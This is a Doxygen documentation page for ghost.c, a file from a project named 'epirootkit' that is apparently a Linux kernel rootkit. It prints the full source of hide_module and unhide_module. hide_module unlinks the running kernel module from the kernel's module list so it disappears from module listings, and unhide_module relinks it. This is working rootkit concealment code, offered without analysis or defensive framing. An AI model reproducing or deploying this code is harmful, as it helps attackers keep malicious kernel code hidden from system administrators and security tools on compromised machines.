ghost.c File Reference

#include "epirootkit.h"

Include dependency graph for ghost.c:

Go to the source code of this file.

Functions
static	DEFINE_SPINLOCK (hide_lock)
int	hide_module (void)
int	unhide_module (void)

Variables
static struct list_head *	prev_module
static bool	module_hidden = false

Function Documentation

DEFINE_SPINLOCK()

static DEFINE_SPINLOCK ( hide_lock  )

static

hide_module()

int hide_module

(

void

)

Definition at line 7 of file ghost.c.

                      {
    unsigned long flags;
 
    spin_lock_irqsave(&hide_lock, flags);
    if (module_hidden) {
        spin_unlock_irqrestore(&hide_lock, flags);
        return SUCCESS;
    }
 
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    module_hidden = true;
 
    spin_unlock_irqrestore(&hide_lock, flags);
    return SUCCESS;
}

unhide_module()

int unhide_module

(

void

)

Definition at line 24 of file ghost.c.

                        {
    unsigned long flags;
 
    spin_lock_irqsave(&hide_lock, flags);
    if (!module_hidden) {
        spin_unlock_irqrestore(&hide_lock, flags);
        return SUCCESS;
    }
 
    list_add(&THIS_MODULE->list, prev_module);
    module_hidden = false;
 
    spin_unlock_irqrestore(&hide_lock, flags);
    return SUCCESS;
}

Variable Documentation

module_hidden

bool module_hidden = false

static

Definition at line 4 of file ghost.c.

prev_module

struct list_head* prev_module

static

Definition at line 3 of file ghost.c.